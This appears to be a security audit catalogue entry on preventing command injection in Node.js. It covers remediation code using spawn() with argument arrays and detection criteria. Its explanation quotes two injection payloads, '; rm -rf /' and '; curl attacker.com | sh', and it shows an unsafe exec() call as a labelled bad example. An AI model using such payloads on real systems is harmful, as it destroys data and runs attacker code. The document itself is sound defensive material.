# Command injection prevention

- **Pattern:** `ab-002404` (`security-hardening.input-validation.command-injection`)
- **Severity:** medium
- **Lifecycle:** active
- **Last modified:** 2026-04-18
- **Canonical URL:** https://auditbuffet.com/patterns/ab-002404
- **License:** CC-BY-4.0 — attribute to AuditBuffet Pattern Catalog (https://auditbuffet.com/patterns/ab-002404)

## Why it matters

Command injection (CWE-78, OWASP A03 Injection) occurs when user-controlled data is passed to `exec()` or `execSync()` as part of a shell command string. The shell interprets semicolons, pipes, backticks, and subshell syntax — an attacker can append `; rm -rf /` or `; curl attacker.com | sh`. NIST 800-53 SI-10 requires input validation before shell execution. Image processors, PDF converters, and video transcoders are common vectors because they wrap command-line tools. The fix is categorical: use `spawn()` with an argument array (which bypasses the shell entirely) rather than `exec()` with a string.

## Severity rationale

Medium because command injection requires a shell execution feature and typically an upload or conversion endpoint, but exploitation achieves arbitrary OS command execution on the server.

## Remediation

Replace `exec()` string calls with `spawn()` argument arrays — this completely prevents shell interpretation of user data:

```ts
import { spawn } from 'child_process'

// Unsafe — shell interprets the full string:
// exec(`convert ${userFilename} -resize 800x output.jpg`)

// Safe — arguments passed as array, no shell:
const proc = spawn('convert', [userFilename, '-resize', '800x', 'output.jpg'], {
  stdio: ['ignore', 'pipe', 'pipe'],
  timeout: 30_000,
})

await new Promise<void>((resolve, reject) => {
  proc.on('close', code => code === 0 ? resolve() : reject(new Error(`convert exited ${code}`)))
})
```

If the third-party library forces `exec`, sanitize with `shell-quote` before passing user input. Prefer managed API services (Cloudinary, AWS Lambda) for media processing to eliminate shell execution entirely.

## Detection

- **ID:** `command-injection`
- **Severity:** `medium`
- **What to look for:** Enumerate every instance of shell command execution (exec, spawn, system, child_process, subprocess). For each, search for shell command execution: `exec()`, `execSync()`, `spawn()`, `spawnSync()`, `child_process`, `shelljs`, `execa`. Check whether user-controlled values are included in shell commands, either directly or through string templates.
- **Pass criteria:** Shell commands do not include user-controlled values. When external commands must be called, arguments are passed as an array to `spawn()` (which does not invoke a shell), not concatenated into a string for `exec()` — 100% of command executions must avoid string concatenation with user input. Report: "X command execution points found, all Y use parameterized arguments."
- **Fail criteria:** User-controlled values are interpolated into shell command strings passed to `exec()`, `execSync()`, or `child_process.exec()`.
- **Skip (N/A) when:** The application executes no shell commands.
- **Detail on fail:** `"exec() in lib/image-processor.ts includes user-supplied filename directly — command injection possible"` or `"child_process.exec() call in api/convert/route.ts concatenates req.body.format into shell command"`
- **Remediation:** Use `spawn()` with argument arrays instead of `exec()` with shell strings:

  ```ts
  import { spawn } from 'child_process'

  // Bad: shell injection possible
  exec(`convert ${userFilename} -resize 800x output.jpg`, callback)

  // Good: arguments as array, no shell interpretation
  const proc = spawn('convert', [userFilename, '-resize', '800x', 'output.jpg'])

  // If exec is necessary, sanitize with shell-quote or similar:
  import { quote } from 'shell-quote'
  exec(`convert ${quote([userFilename])} -resize 800x output.jpg`, callback)
  ```

  Prefer moving image processing, PDF handling, and other command-line operations to a managed API service or WebAssembly module that avoids shell execution entirely.

## External references

- cwe CWE-78
- owasp A03
- nist SI-10

Taxons: injection-and-input-trust

HTML version: https://auditbuffet.com/patterns/ab-002404
